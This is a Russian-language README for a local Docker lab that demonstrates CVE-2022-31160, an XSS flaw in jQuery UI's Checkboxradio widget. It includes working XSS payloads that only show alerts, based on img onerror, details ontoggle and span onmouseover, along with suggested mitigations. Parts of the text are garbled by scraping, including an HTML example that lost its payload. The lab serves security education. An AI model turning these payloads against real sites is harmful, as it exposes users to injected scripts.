
jquery XSS Proof of Concept (PoC)
Этот проект демонстрирует уязвимость виджета Checkboxradio jQuery UI (CVE-2022-31160), которая приводит к некорректному декодированию HTML-сущностей при обновлении виджета, что потенциально может вызвать межсайтовый скриптинг (XSS).
⚠️ Этот проект содержит действующие XSS-пейлоады только для образовательных и исследовательских целей.
Когда виджет checkboxradio инициализируется на элементе ввода, вложенном внутрь метки, вызов .checkboxradio("refresh") для этого виджета приводит к ошибочному декодированию HTML-сущностей в содержимом метки. Это может преобразовать безопасно закодированное вредоносное содержимое в исполняемый JavaScript.
<!-- Безопасно закодированное содержимое -->
<label for="checkbox">
Текст <img src=x onerror="alert('XSS')">
<input type="checkbox" id="checkbox">
</label>
<!-- После .checkboxradio("refresh") -->
<label for="checkbox">
Текст
<input type="checkbox" id="checkbox">
</label>
# Перейдите в директорию проекта
cd jquery-cve-2022-31160
# Соберите Docker-образ
docker build -t jquery-cve-2022-31160 .
# Запустите контейнер
docker run -p 3000:3000 jquery-cve-2022-31160
После запуска контейнера откройте:
jquery-cve-2022-31160/
├── README.md # Эта документация
├── Dockerfile # Конфигурация контейнера Docker
├── package.json # Зависимости Node.js
├── server.js # Сервер Express.js
└── simplified-survey.html # Демонстрация в стиле опроса
simplified-survey.html)URL: http://localhost:3000/survey
Особенности:
<img src=x onerror="..."> - Немедленное выполнение<details ontoggle="..." open> - Немедленное выполнение<span onmouseover="..."> - Интерактивное выполнениеИнструменты анализа:
.checkboxradio("refresh")// Уязвимая операция
$('#vulnerable-checkbox').checkboxradio();
$('#vulnerable-checkbox').checkboxradio("refresh"); // Запускает уязвимость
Демонстрации включают различные пейлоады для тестирования разных методов выполнения XSS:
<!-- Сетевая безопасность: XSS через обработчик ошибок (немедленное выполнение) -->
<img src=x onerror="console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');">
<!-- Мобильная безопасность: XSS через событие toggle (немедленное выполнение) -->
<details ontoggle="alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')" open><summary></summary></details>
<!-- Облачная безопасность: Интерактивный XSS (требуется действие пользователя) -->
<span onmouseover="alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')" style="text-decoration:underline; cursor:pointer;">[Наведите для запуска]</span>
onerror)src=x)ontoggle)open)onmouseover)Преимущества обработчиков событий:
innerHTML<script>ontoggle) очень надёжныОбход кодирования:
<, ") декодируются при обновлении jQuery UIdocker build -t jquery-cve-2022-31160 .
# Запуск на стандартном порту 3000
docker run -p 3000:3000 jquery-cve-2022-31160
# Запуск на пользовательском порту
docker run -p 8080:3000 jquery-cve-2022-31160
# Запуск в фоновом режиме
docker run -d -p 3000:3000 jquery-cve-2022-31160
# Запуск с пользовательским именем
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160
# Список запущенных контейнеров
docker ps
# Остановка контейнера
docker stop jquery-cve-2022-31160
# Удаление контейнера
docker rm jquery-cve-2022-31160
# Удаление образа
docker rmi jquery-cve-2022-31160
Эта уязвимость может быть использована в приложениях, которые:
.checkboxradio("refresh")// Перед обновлением очистите или проверьте содержимое
function safeRefresh(element) {
// Проверка содержимого метки перед обновлением
const label = $(`label[for="${element.attr('id')}"]`);
const content = label.html();
// Проверка на потенциально опасное содержимое
if (content.includes('<') || content.includes('javascript:')) {
console.warn('Обнаружено потенциально опасное содержимое');
return;
}
element.checkboxradio("refresh");
}
// Заголовки безопасности для Express.js
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Content-Security-Policy', "default-src 'self'");
next();
});
Этот проект служит образовательным ресурсом для:
При использовании этой демонстрации:
Приветствуются любые вклады! Пожалуйста:
Данное программное обеспечение предоставляется только в образовательных и исследовательских целях. Авторы и участники:
Этот проект предоставляется под лицензией MIT для образовательных целей.
Создано для исследований в области безопасности и обучения | Используйте ответственно | Сообщайте об уязвимостях через надлежащие каналы